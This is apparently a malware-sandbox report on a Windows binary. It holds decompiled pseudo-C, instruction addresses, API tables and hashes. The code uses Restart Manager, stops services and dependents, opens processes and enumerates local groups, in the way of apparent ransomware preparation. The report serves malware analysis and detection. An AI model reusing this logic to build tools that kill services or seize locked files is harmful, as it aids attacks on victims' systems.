															_t341 = 2 + _t339 * 2;
															_t193 = _t313;
															if(_t341 < 0x1000) {
																L42:
																_push(_t341);
																E000ED2D0(_t313);
																_t408 = _t408 + 8;
																goto L43;
															} else {
																_t313 =  *(_t313 - 4);
																_t341 = _t341 + 0x23;
																if(_t193 - _t313 + 0xfffffffc > 0x1f) {
																	goto L47;
																} else {
																	goto L42;
																}
															}
														}
													}
													goto L98;
													L44:
													_t362 =  &(_t362[0xa7]);
												} while (_t362 != _v204);
											}
										}
									}
									goto L45;
								} else {
									L45:
									L49();
									goto L46;
								}
							}
						}
					}
				} else {
					 *0x17a6b8 = _t169 | 0x00000001;
					_v8 = 0;
					_v120 = 0;
					_v116 = 7;
					_v136 = 0;
					_v8 = 1;
					_t335 =  &_v112;
					_push(0xc);
					_v96 = 0;
					_v92 = 0xf;
					_v112 = 0;
					E00068B90(_t335, __edx, _t378, "Rstrtmgr.dll");
					_v8 = 2;
					_t378 = _v96;
					if(_t378 != 0) {
						_t335 = _v112;
						_t377 =  >=  ? _t335 :  &_v112;
						_t362 = ( >=  ? _t335 :  &_v112) + _t378;
						_t378 =  >=  ? _t335 :  &_v112;
						_push(L000ABB20(_t294, _t335));
						_push( &_v136);
						_push(_t362);
						_push( >=  ? _t335 :  &_v112);
						E000AB300(_t294, _t362,  >=  ? _t335 :  &_v112);
						_t405 = _t405 + 0x10;
					}
					_v8 = 1;
					_t359 = _v92;
					if(_t359 < 0x10) {
						L7:
						 *0x17a6bc = 0;
						_push(_t335);
						_v8 = 4;
						E0008EDA0(_t294, 0x17a6bc, _t359, _t362, _t424,  &_v136);
						_v8 = 0;
						_t360 = _v116;
						if(_t360 < 8) {
							L11:
							E000ED2BB(_t427, 0x138910);
							_v8 = 0xffffffff;
							_t405 = _t405 + 4;
							_t169 =  *0x17a6b8; // 0x0
							goto L12;
						} else {
							_t337 = _v136;
							_t361 = 2 + _t360 * 2;
							_t282 = _t337;
							if(_t361 < 0x1000) {
								L10:
								_push(_t361);
								E000ED2D0(_t337);
								_t405 = _t405 + 8;
								goto L11;
							} else {
								_t313 =  *(_t337 - 4);
								_t341 = _t361 + 0x23;
								_t427 = _t282 - _t313 + 0xfffffffc - 0x1f;
								if(_t282 - _t313 + 0xfffffffc > 0x1f) {
									goto L48;
								} else {
									goto L10;
								}
							}
						}
					} else {
						_t335 = _v112;
						_t359 = _t359 + 1;
						_t286 = _t335;
						if(_t359 < 0x1000) {
							L6:
							_push(_t359);
							E000ED2D0(_t335);
							_t405 = _t405 + 8;
							goto L7;
						} else {
							_t313 =  *(_t335 - 4);
							_t341 = _t359 + 0x23;
							_t424 = _t286 - _t313 + 0xfffffffc - 0x1f;
							if(_t286 - _t313 + 0xfffffffc > 0x1f) {
								L47:
								E0010F44B(_t294, _t313, _t341, _t362, __eflags);
								L48:
								_t198 = E0010F44B(_t294, _t313, _t341, _t362, __eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t380);
								_push(_t362);
								_t364 = _t313;
								_t381 =  *_t364;
								__eflags = _t381;
								if(_t381 == 0) {
									L54:
									return _t198;
								} else {
									_t314 = ((0x621b97c3 * (_t364[2] - _t381) >> 0x20 >> 8 >> 0x1f) + (0x621b97c3 * (_t364[2] - _t381) >> 0x20 >> 8)) * 0x29c;
									__eflags = _t314 - 0x1000;
									if(_t314 < 0x1000) {
										L53:
										_push(_t314);
										_t198 = E000ED2D0(_t381);
										 *_t364 = 0;
										_t364[1] = 0;
										_t364[2] = 0;
										goto L54;
									} else {
										_t346 =  *(_t381 - 4);
										_t314 = _t314 + 0x23;
										_t383 = _t381 - _t346;
										_t106 = _t383 - 4; // -4
										__eflags = _t106 - 0x1f;
										if(__eflags > 0) {
											E0010F44B(_t294, _t314, _t346, _t364, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t396);
											_t398 = _t408;
											_t410 = _t408 - 0xc;
											_push(_t294);
											_t296 = _t314;
											_push(_t383);
											_t384 = _v316;
											_push(_t364);
											_t206 =  *(_t296 + 4);
											_t316 =  *(_t296 + 8) -  *_t296;
											_v328 = _t206;
											_t368 = (0x621b97c3 * (_t206 -  *_t296) >> 0x20 >> 8 >> 0x1f) + (0x621b97c3 * (_t206 -  *_t296) >> 0x20 >> 8);
											_v336 = _t368;
											_t352 = 0x621b97c3 * _t316 >> 0x20 >> 8;
											_t213 = (_t352 >> 0x1f) + _t352;
											_v332 = _t213;
											__eflags = _t384 - _t213;
											if(_t384 <= _t213) {
												__eflags = _t384 - _t368;
												if(__eflags <= 0) {
													if(__eflags != 0) {
														_t213 = _t384 * 0x29c +  *_t296;
														__eflags = _t213;
														 *(_t296 + 4) = _t213;
													}
													return _t213;
												} else {
													_t386 = _t384 - _t368;
													__eflags = _t386;
													_t142 =  &_v12; // 0x94e4e
													_t370 =  *_t142;
													if(_t386 != 0) {
														_t388 = _t386 * 0x29c;
														_t213 = E001053E0(_t370, _t370, 0, _t388);
														_t370 = _t370 + _t388;
														__eflags = _t370;
													}
													 *(_t296 + 4) = _t370;
													return _t213;
												}
											} else {
												__eflags = _t384 - 0x621b97;
												if(_t384 > 0x621b97) {
													E00066EB0(_t316);
													goto L85;
												} else {
													_t353 = _v16;
													_t322 = _t213 >> 1;
													__eflags = _t353 - 0x621b97 - _t322;
													if(_t353 <= 0x621b97 - _t322) {
														_t233 = _t322 + _t353;
														__eflags = _t233 - _t384;
														_t234 =  <  ? _t384 : _t233;
													} else {
														_t234 = _t384;
													}
													_t316 = _t234 * 0x29c;
													_v16 = _t316;
													__eflags = _t234 - 0x621b97;
													if(_t234 <= 0x621b97) {
														__eflags = _t316 - 0x1000;
														if(_t316 < 0x1000) {
															__eflags = _t316;
															if(__eflags == 0) {
																_t368 = 0;
																__eflags = 0;
															} else {
																_push(_t316);
																_t255 = E000ECF08(_t384, __eflags);
																_t410 = _t410 + 4;
																_t368 = _t255;
															}
															goto L69;
														} else {
															goto L64;
														}
													} else {
														_t316 = _t316 | 0xffffffff;
														L64:
														_t126 = _t316 + 0x23; // 0x23
														_t256 = _t126;
														_t352 = _t353 | 0xffffffff;
														__eflags = _t256 - _t316;
														_t257 =  <=  ? _t352 : _t256;
														_push( <=  ? _t352 : _t256);
														_t258 = E000ECF08(_t384, _t256 - _t316);
														_t410 = _t410 + 4;
														__eflags = _t258;
														if(__eflags == 0) {
															L85:
															E0010F44B(_t296, _t316, _t352, _t368, __eflags);
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t398);
															_push(0xffffffff);
															_push(0x1313f9);
															_push( *[fs:0x0]);
															_push(_t296);
															_push(_t384);
															_push(_t368);
															_t218 =  *0x16f170; // 0xd529e887
															_push(_t218 ^ _t410);
															 *[fs:0x0] =  &_v360;
															_t389 = _t352;
															_t372 = _t316;
															_v380 = _t372;
															_v352 = 0;
															_v372 = 0;
															 *_t372 = 0;
															_t372[1] = 0;
															 *_t372 = E0006BDD0();
															_v352 = 0;
															__eflags =  *((intOrPtr*)(_t389 + 0x14)) - 8;
															_v372 = 1;
															_v368 = 0;
															_v364 = 0;
															_v376 = 0;
															if( *((intOrPtr*)(_t389 + 0x14)) >= 8) {
																_t389 =  *_t389;
															}
															_t224 =  &_v32;
															__imp__NetUserGetLocalGroups(0, _t389, 0, 1, _t224, 0xffffffff,  &_v28,  &_v40);
															__eflags = _t224;
															if(_t224 != 0) {
																L94:
																_t390 = _v32;
																goto L95;
															} else {
																_t390 = _v32;
																__eflags = _t390;
																if(_t390 != 0) {
																	_t300 = 0;
																	__eflags = _v28;
																	if(_v28 > 0) {
																		while(1) {
																			__eflags = _t390;
																			if(_t390 == 0) {
																				goto L94;
																			}
																			E00096050(_t372,  &_v52, _t372, E00095FA0(_t372, _t390) + 0x10, _t227);
																			_t300 = _t300 + 1;
																			_t390 = _t390 + 4;
																			__eflags = _t300 - _v28;
																			if(_t300 < _v28) {
																				continue;
																			}
																			goto L94;
																		}
																		goto L94;
																	}
																	L95:
																	__eflags = _t390;
																	if(_t390 != 0) {
																		NetApiBufferFree(_t390);
																	}
																}
															}
															 *[fs:0x0] = _v24;
															return _t372;
														} else {
															_t127 = _t258 + 0x23; // 0x23
															_t368 = _t127 & 0xffffffe0;
															 *(_t368 - 4) = _t258;
															L69:
															_t355 = _v20 * 0x29c + _t368;
															_t324 = _t384 - _v20;
															__eflags = _t324;
															if(_t324 != 0) {
																__eflags = _t324 * 0x29c;
																E001053E0(_t368, _t355, 0, _t324 * 0x29c);
																_t410 = _t410 + 0xc;
															}
															_push(_t324);
															E000822E0( &_a3);
															E00104E60(_t368,  *_t296,  *(_t296 + 4) -  *_t296);
															_t239 =  *_t296;
															_t410 = _t410 + 0x10;
															__eflags = _t239;
															if(_t239 == 0) {
																L76:
																 *_t296 = _t368;
																 *(_t296 + 4) = _t384 * 0x29c + _t368;
																_t243 = _v16 + _t368;
																__eflags = _t243;
																 *(_t296 + 8) = _t243;
																return _t243;
															} else {
																_t328 = ((0x621b97c3 * ( *(_t296 + 8) - _t239) >> 0x20 >> 8 >> 0x1f) + (0x621b97c3 * ( *(_t296 + 8) - _t239) >> 0x20 >> 8)) * 0x29c;
																_t249 =  *_t296;
																__eflags = _t328 - 0x1000;
																if(_t328 < 0x1000) {
																	L75:
																	_push(_t328);
																	E000ED2D0(_t249);
																	goto L76;
																} else {
																	_t352 =  *(_t249 - 4);
																	_t316 = _t328 + 0x23;
																	__eflags = _t249 - _t352 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L85;
																	} else {
																		_t249 = _t352;
																		goto L75;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											_t381 = _t346;
											goto L53;
										}
									}
								}
							} else {
								goto L6;
							}
						}
					}
				}
				L98:
			}

0x000949d1
0x000949d3
0x000949d5
0x000949e0
0x000949e1
0x000949e7
0x000949ec
0x000949ee
0x000949f2
0x000949f3
0x000949f4
0x000949f8
0x000949fe
0x00094a00
0x00094a07
0x00094b40
0x00094b47
0x00094e4e
0x00094e51
0x00094e69
0x00094b4d
0x00094b4f
0x00094b54
0x00094b63
0x00094b6f
0x00094b74
0x00094b7b
0x00094b7b
0x00094b82
0x00094b87
0x00094b96
0x00094ba2
0x00094ba7
0x00094bae
0x00094bae
0x00094bb5
0x00094bba
0x00094bc9
0x00094bd5
0x00094bda
0x00094bda
0x00094be9
0x00094bee
0x00094bf4
0x00094bf5
0x00094bfd
0x00094c06
0x00000000
0x00094c0c
0x00094c10
0x00094c12
0x00094c12
0x00094c22
0x00094c31
0x00094c37
0x00094c39
0x00000000
0x00094c3f
0x00094c3f
0x00094c42
0x00094c4b
0x00094c51
0x00094c57
0x00094c62
0x00094c81
0x00094c89
0x00094c96
0x00094c9e
0x00094ca7
0x00094cad
0x00094cae
0x00094caf
0x00094cba
0x00094cbb
0x00094cc4
0x00094ccb
0x00094ccc
0x00094cda
0x00094ce0
0x00094ce3
0x00094ce6
0x00094cee
0x00094cf4
0x00094d00
0x00094d02
0x00094d0a
0x00000000
0x00094d10
0x00094d1d
0x00094d2e
0x00094d30
0x00094d38
0x00094d4a
0x00094d59
0x00094d5d
0x00094d67
0x00094d76
0x00094d89
0x00094d8b
0x00094d90
0x00094d96
0x00094da5
0x00094daf
0x00094db5
0x00094d90
0x00094ddb
0x00094de1
0x00094de1
0x00094de8
0x00094dee
0x00094dee
0x00094df4
0x00094dfa
0x00094e2d
0x00094e2e
0x00000000
0x00094dfc
0x00094dfc
0x00094e02
0x00094e09
0x00094e11
0x00094e23
0x00094e23
0x00094e25
0x00094e2a
0x00000000
0x00094e13
0x00094e13
0x00094e16
0x00094e21
0x00000000
0x00000000
0x00000000
0x00000000
0x00094e21
0x00094e11
0x00094dfa
0x00000000
0x00094e34
0x00094e34
0x00094e3a
0x00094cf4
0x00094cee
0x00094cda
0x00000000
0x00094e46
0x00094e46
0x00094e49
0x00000000
0x00094e49
0x00094c89
0x00094c39
0x00094c06
0x00094a0d
0x00094a10
0x00094a15
0x00094a1e
0x00094a25
0x00094a2c
0x00094a33
0x00094a37
0x00094a3a
0x00094a41
0x00094a44
0x00094a4b
0x00094a4e
0x00094a53
0x00094a57
0x00094a5c
0x00094a65
0x00094a68
0x00094a6b
0x00094a74
0x00094a7c
0x00094a83
0x00094a84
0x00094a85
0x00094a86
0x00094a8b
0x00094a8b
0x00094a8e
0x00094a92
0x00094a98
0x00094ac6
0x00094ac6
0x00094ad0
0x00094ad7
0x00094ae1
0x00094ae6
0x00094aea
0x00094af0
0x00094b27
0x00094b2c
0x00094b31
0x00094b38
0x00094b3b
0x00000000
0x00094af2
0x00094af2
0x00094af8
0x00094aff
0x00094b07
0x00094b1d
0x00094b1d
0x00094b1f
0x00094b24
0x00000000
0x00094b09
0x00094b09
0x00094b0c
0x00094b14
0x00094b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00094b17
0x00094b07
0x00094a9a
0x00094a9a
0x00094a9d
0x00094a9e
0x00094aa6
0x00094abc
0x00094abc
0x00094abe
0x00094ac3
0x00000000
0x00094aa8
0x00094aa8
0x00094aab
0x00094ab3
0x00094ab6
0x00094e6a
0x00094e6a
0x00094e6f
0x00094e6f
0x00094e74
0x00094e75
0x00094e76
0x00094e77
0x00094e78
0x00094e79
0x00094e7a
0x00094e7b
0x00094e7c
0x00094e7d
0x00094e7e
0x00094e7f
0x00094ef0
0x00094ef1
0x00094ef2
0x00094ef4
0x00094ef6
0x00094ef8
0x00094f4e
0x00094f50
0x00094efa
0x00094f10
0x00094f16
0x00094f1c
0x00094f30
0x00094f30
0x00094f32
0x00094f37
0x00094f40
0x00094f47
0x00000000
0x00094f1e
0x00094f1e
0x00094f21
0x00094f24
0x00094f26
0x00094f29
0x00094f2c
0x00094f51
0x00094f56
0x00094f57
0x00094f58
0x00094f59
0x00094f5a
0x00094f5b
0x00094f5c
0x00094f5d
0x00094f5e
0x00094f5f
0x00094f60
0x00094f61
0x00094f63
0x00094f66
0x00094f67
0x00094f69
0x00094f6a
0x00094f6d
0x00094f6e
0x00094f78
0x00094f7a
0x00094f91
0x00094f95
0x00094f98
0x00094fa0
0x00094fa2
0x00094fa5
0x00094fa7
0x000950d1
0x000950d3
0x000950fc
0x00095104
0x00095104
0x00095106
0x00095106
0x0009510f
0x000950d5
0x000950d5
0x000950d5
0x000950d7
0x000950d7
0x000950da
0x000950dc
0x000950e6
0x000950ee
0x000950ee
0x000950ee
0x000950f0
0x000950f9
0x000950f9
0x00094fad
0x00094fad
0x00094fb3
0x00095112
0x00000000
0x00094fb9
0x00094fb9
0x00094fbe
0x00094fc7
0x00094fc9
0x00094fcf
0x00094fd2
0x00094fd4
0x00094fcb
0x00094fcb
0x00094fcb
0x00094fd7
0x00094fdd
0x00094fe0
0x00094fe5
0x00094fec
0x00094ff2
0x0009501b
0x0009501d
0x0009502c
0x0009502c
0x0009501f
0x0009501f
0x00095020
0x00095025
0x00095028
0x00095028
0x00000000
0x00000000
0x00000000
0x00000000
0x00094fe7
0x00094fe7
0x00094ff4
0x00094ff4
0x00094ff4
0x00094ff7
0x00094ffa
0x00094ffc
0x00094fff
0x00095000
0x00095005
0x00095008
0x0009500a
0x00095117
0x00095117
0x0009511c
0x0009511d
0x0009511e
0x0009511f
0x00095120
0x00095123
0x00095125
0x00095130
0x00095134
0x00095135
0x00095136
0x00095137
0x0009513e
0x00095142
0x00095148
0x0009514a
0x0009514c
0x0009514f
0x00095156
0x0009515d
0x00095163
0x0009516f
0x00095171
0x00095178
0x0009517c
0x00095183
0x0009518a
0x00095191
0x00095198
0x0009519a
0x0009519a
0x000951a6
0x000951b1
0x000951b7
0x000951b9
0x000951f6
0x000951f6
0x00000000
0x000951bb
0x000951bb
0x000951be
0x000951c0
0x000951c2
0x000951c4
0x000951c7
0x000951d0
0x000951d0
0x000951d2
0x00000000
0x00000000
0x000951e8
0x000951ed
0x000951ee
0x000951f1
0x000951f4
0x00000000
0x00000000
0x00000000
0x000951f4
0x00000000
0x000951d0
0x000951f9
0x000951f9
0x000951fb
0x000951fe
0x000951fe
0x000951fb
0x000951c0
0x00095209
0x00095217
0x00095010
0x00095010
0x00095013
0x00095016
0x0009502e
0x00095037
0x00095039
0x00095039
0x0009503c
0x0009503e
0x00095048
0x0009504d
0x0009504d
0x00095052
0x00095056
0x00095063
0x00095068
0x0009506a
0x0009506d
0x0009506f
0x000950b3
0x000950b9
0x000950bd
0x000950c3
0x000950c3
0x000950c7
0x000950ce
0x00095071
0x00095087
0x0009508d
0x0009508f
0x00095095
0x000950a9
0x000950a9
0x000950ab
0x00000000
0x00095097
0x00095097
0x0009509a
0x000950a2
0x000950a5
0x00000000
0x000950a7
0x000950a7
0x00000000
0x000950a7
0x000950a5
0x00095095
0x0009506f
0x0009500a
0x00094fe5
0x00094fb3
0x00094f2e
0x00094f2e
0x00000000
0x00094f2e
0x00094f2c
0x00094f1c
0x00000000
0x00000000
0x00000000
0x00094ab6
0x00094aa6
0x00094a98
0x00000000

APIs

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

CloseHandle.KERNEL32(00000000), ref: 00094E2E

Part of subcall function 0008EE00: GetProcAddress.KERNEL32(7757C452,00000000,D529E887,?,?,?,?,?,?,00000000,00130AC8,000000FF,?,00094BD5,RmGetList,D529E887), ref: 0008EE33
Part of subcall function 0008EE00: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00130AC8,000000FF,?,00094BD5,RmGetList,D529E887), ref: 0008EE96

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00094CFA
OpenSCManagerW.ADVAPI32(00000000,00000000,00000005,?), ref: 00094D28
OpenServiceW.ADVAPI32(00000000,?,0000002C), ref: 00094D53
CloseServiceHandle.ADVAPI32(00000000), ref: 00094DE8

Part of subcall function 000947F0: GetTickCount.KERNEL32(D529E887,7757C452,?), ref: 0009482D
Part of subcall function 000947F0: EnumDependentServicesW.ADVAPI32(?,00000001,00000000,00000000,?,?), ref: 0009484C
Part of subcall function 000947F0: GetLastError.KERNEL32(?,00000001,00000000,00000000,?,?), ref: 0009485A
Part of subcall function 000947F0: GetProcessHeap.KERNEL32(?,00000001,00000000,00000000,?,?), ref: 0009486E
Part of subcall function 000947F0: HeapAlloc.KERNEL32(00000000,00000008,?,?,00000001,00000000,00000000,?,?), ref: 00094878
Part of subcall function 000947F0: EnumDependentServicesW.ADVAPI32(?,00000001,00000000,?,?,?), ref: 000948A1
Part of subcall function 000947F0: OpenServiceW.ADVAPI32(?,?,00000024,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000948DE
Part of subcall function 000947F0: ControlService.ADVAPI32(00000000,00000001,?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 000948FB
Part of subcall function 000947F0: Sleep.KERNEL32(?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 0009490E
Part of subcall function 000947F0: QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,?,?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?), ref: 00094921
Part of subcall function 000947F0: GetTickCount.KERNEL32(?,00000001,00000000,?,?,?,?,00000001,00000000,00000000,?,?), ref: 00094931
Part of subcall function 000947F0: @_EH4_CallFilterFunc@8.LIBCMT ref: 0009494A

ControlService.ADVAPI32(00000000,00000001,?), ref: 00094D76
GetTickCount.KERNEL32 ref: 00094D7C
Sleep.KERNEL32(?), ref: 00094D96
QueryServiceStatusEx.ADVAPI32(00000000,00000000,?,00000024,?), ref: 00094DAF
GetTickCount.KERNEL32 ref: 00094DC2
CloseServiceHandle.ADVAPI32(00000000), ref: 00094DDB

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

RmRegisterResources, xrefs: 00094B8C
RmStartSession, xrefs: 00094B59
RmGetList, xrefs: 00094BBF
Rstrtmgr.dll, xrefs: 00094A3C

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Service$CountOpenTick$CloseHandle$ControlDependentEnumErrorHeapLastProcessQueryServicesSleepStatus$AddressAllocCallFeatureFilterFunc@8ManagerPresentProcProcessor___raise_securityfailure__onexit
String ID: RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr.dll
API String ID: 885454954-3489548647
Opcode ID: b23aef7c69ae837414ed42e473d4357adce04b03e469cc40e1ed4ff0f365a995
Instruction ID: 6655a35f36d044599329e60c410316209524794c9acf7e76b74aaf652a99ac2c
Opcode Fuzzy Hash: b23aef7c69ae837414ed42e473d4357adce04b03e469cc40e1ed4ff0f365a995
Instruction Fuzzy Hash: ABD18971A01218DFEF20DF64CD89F9EB7B9FF45700F5041A9E508AB291DB70AA85CB52

Uniqueness

Uniqueness Score: 100.00%

Function 0005AF90, Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 365
UNIQUE

Download Yara Rule

C-Code - Quality: 52%

			E0005AF90(void* __ebx, long __ecx, void* __edi, void** _a4) {
				int _v8;
				long _v12;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				long _v28;
				void** _v44;
				long _v48;
				char _v51;
				char _v52;
				long _v56;
				signed int _v60;
				void** _v64;
				intOrPtr _v68;
				void* _v72;
				void* _v76;
				char _v244;
				long _v268;
				long _v276;
				void* __esi;
				signed int _t92;
				signed int _t93;
				void* _t95;
				long _t98;
				long _t104;
				long _t106;
				signed int _t111;
				long _t114;
				long _t117;
				signed int _t119;
				signed int _t121;
				long _t128;
				signed int _t130;
				signed int _t132;
				void* _t142;
				void** _t150;
				intOrPtr* _t154;
				void* _t158;
				long* _t162;
				intOrPtr* _t174;
				signed int _t175;
				intOrPtr _t177;
				void** _t180;
				long _t185;
				long* _t186;
				long _t189;
				signed int _t192;
				signed int _t196;
				void* _t198;
				void* _t200;
				void* _t204;
				void* _t212;

				_t161 = __ecx;
				_t158 = __ebx;
				_t192 = _t196;
				_push(0xffffffff);
				_push(0x12d705);
				_push( *[fs:0x0]);
				_t92 =  *0x16f170; // 0xd529e887
				_t93 = _t92 ^ _t192;
				_v20 = _t93;
				_push(__ebx);
				_push(_t93);
				 *[fs:0x0] =  &_v16;
				_t184 = __ecx;
				_t180 = _a4;
				_v8 = 0;
				_v64 = _t180;
				_v48 = 0;
				_v56 = 0;
				_t95 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
				_t198 = _t196 - 0xe4 + 0xc;
				if(_t95 == 0) {
					E0010F5C4(__ebx, __ecx, _t174, _t180);
					goto L19;
				} else {
					_t184 =  *__ecx;
					_t136 =  ==  ? 0x15063e : "-l";
					_v52 = 0x17a3a0;
					_v60 =  ==  ? 0x15063e : "-l";
					_v8 = 1;
					_v28 = 0;
					_v24 = 0xf;
					_v44 = 0;
					_t175 =  *(_t184 + 0x10);
					_v48 = 2;
					if(_t175 != 0) {
						_t212 =  *((intOrPtr*)(_t184 + 0x14)) - 8;
						_t154 = _t184;
						if(_t212 >= 0) {
							_t154 =  *_t184;
						}
						_t158 = _t154 + _t175 * 2;
						if(_t212 >= 0) {
							_t184 =  *_t184;
						}
						_push(L000ABB20(_t158, 0x15063e));
						_push( &_v44);
						_push(_t158);
						_push(_t184);
						E000AB400(_t158, _t180, _t184);
						_t198 = _t198 + 0x10;
					}
					_t166 = _t180;
					E0007B3A0(_t158, _t180,  &_v44, _t180, _t184, "-i", 0x16fbb0, "-s",  &_v60,  &_v56);
					_t198 = _t198 + 0x14;
					_v8 = 0;
					_t177 = _v24;
					_v48 = 5;
					if(_t177 < 0x10) {
						L11:
						_v28 = 0;
						_v24 = 0xf;
						_v44 = 0;
						if(_v56 != 0 &&  *0x17a480 != 0) {
							_v68 = 0x17a4f8;
							_t142 = E000DA3B6(0x17a4f8);
							_t204 = _t198 + 4;
							_t218 = _t142;
							if(_t142 != 0) {
								E000D7281(_t158, _t166, _t177, _t180, _t184, _t142);
								_t204 = _t204 + 4;
							}
							_v8 = 2;
							E00064C00( &_v244, _t218, "c:/.log", 0xc);
							_v8 = 3;
							E0006DBF0(_t158, E00073530( &_v244,  &_v56));
							E00060FB0( &_v244);
							_v8 = 4;
							if(E000DA3DB(0x17a4f8) != 0) {
								E000D7281(_t158,  &_v244,  &_v56, _t180, _t184, _t147);
							}
						}
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t192);
					} else {
						_t166 = _v44;
						_t177 = _t177 + 1;
						_t150 = _t166;
						if(_t177 < 0x1000) {
							L10:
							_push(_t177);
							E000ED2D0(_t166);
							_t198 = _t198 + 8;
							goto L11;
						} else {
							_t161 =  *(_t166 - 4);
							_t174 = _t177 + 0x23;
							if(_t150 - _t161 + 0xfffffffc > 0x1f) {
								L19:
								E0010F44B(_t158, _t161, _t174, _t180, __eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t192);
								_push(_t158);
								_push(_t184);
								_push(_t180);
								_t185 = _t161;
								_v276 = 0;
								_v268 = _t185;
								_t98 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
								_t200 = _t198 - 0x44 + 0xc;
								__eflags = _t98;
								if(_t98 == 0) {
									L57:
									E0010F5C4(_t158, _t161, _t174, _t180);
									goto L58;
								} else {
									_t158 = CloseHandle;
									_t180 = _t185 + 0x40;
									while(1) {
										_v16 = 0x17a3a0;
										_push( &_v20);
										_t106 = E00056700(_t158, _t180);
										_t161 = _v20;
										__eflags = _t161;
										if(_t161 != 0) {
											break;
										}
										__eflags = _t106;
										if(_t106 != 0) {
											return _t106;
										} else {
											_t161 =  *(_t185 + 0x3c);
											__eflags =  *(_t185 + 0x3c);
											if(__eflags == 0) {
												L58:
												E000D9BF8(__eflags);
												break;
											} else {
												E0005AF90(_t158, _t161 + 4, _t180,  &_v76);
												CloseHandle( *_t180);
												CloseHandle(_t180[1]);
												asm("movups xmm0, [ebp-0x44]");
												_t111 = _v60;
												_t161 = _v56;
												asm("movups [edi], xmm0");
												_t180[4] = _t111;
												_t185 = _t180[5];
												_v76 = 0xffffffff;
												_v72 = 0xffffffff;
												_v60 = 0;
												_v56 = 0;
												_t180[5] = _v56;
												__eflags = _t185;
												if(_t185 != 0) {
													__eflags = _t111 | 0xffffffff;
													asm("lock xadd [esi+0x4], eax");
													if((_t111 | 0xffffffff) == 0) {
														_t130 =  *_t185;
														__eflags = _t130 - 0x151a50;
														if(_t130 != 0x151a50) {
															_t161 = _t185;
															_t130 =  *_t130();
														}
														__eflags = _t130 | 0xffffffff;
														asm("lock xadd [esi+0x8], eax");
														if((_t130 | 0xffffffff) == 0) {
															_t132 =  *_t185;
															_t161 = _t185;
															_t174 =  *((intOrPtr*)(_t132 + 4));
															__eflags = _t132 - 0x151a50;
															if(_t132 != 0x151a50) {
																 *_t174();
															} else {
																 *((intOrPtr*)(_t132 + 8))(1);
															}
														}
													}
												}
												_t180[6] = _v52;
												_t180[6] = _v51;
												_v52 = 0;
												_t114 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
												_t200 = _t200 + 0xc;
												__eflags = _t114;
												if(_t114 == 0) {
													goto L57;
												} else {
													__eflags = _v52;
													if(_v52 == 0) {
														L44:
														_t189 = _v56;
														__eflags = _t189;
														if(_t189 != 0) {
															__eflags = _t114 | 0xffffffff;
															asm("lock xadd [esi+0x4], eax");
															if((_t114 | 0xffffffff) == 0) {
																_t119 =  *_t189;
																__eflags = _t119 - 0x151a50;
																if(_t119 != 0x151a50) {
																	_t161 = _t189;
																	_t119 =  *_t119();
																}
																__eflags = _t119 | 0xffffffff;
																asm("lock xadd [esi+0x8], eax");
																if((_t119 | 0xffffffff) == 0) {
																	_t121 =  *_t189;
																	_t161 = _t189;
																	_t174 =  *((intOrPtr*)(_t121 + 4));
																	__eflags = _t121 - 0x151a50;
																	if(_t121 != 0x151a50) {
																		 *_t174();
																	} else {
																		 *((intOrPtr*)(_t121 + 8))(1);
																	}
																}
															}
														}
														CloseHandle(_v76);
														CloseHandle(_v72);
														_v20 = 0;
														_t117 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
														_t185 = _v12;
														_t200 = _t200 + 0xc;
														__eflags = _t117;
														if(_t117 == 0) {
															goto L57;
														} else {
															continue;
														}
													} else {
														__eflags = _v51;
														if(_v51 != 0) {
															goto L44;
														} else {
															_t114 =  *_v60;
															__eflags = _t114 - 0x103;
															if(_t114 != 0x103) {
																goto L44;
															} else {
																_push( &_v28);
																_t161 =  &_v76;
																_t114 = E00056700(_t158,  &_v76);
																__eflags = _t114;
																if(_t114 == 0) {
																	goto L44;
																} else {
																	_t114 = _v76;
																	__eflags = _t114;
																	if(_t114 == 0) {
																		L43:
																		_v51 = 1;
																		goto L44;
																	} else {
																		__eflags = _t114 - 0xffffffff;
																		if(_t114 == 0xffffffff) {
																			goto L43;
																		} else {
																			_push( &_v28);
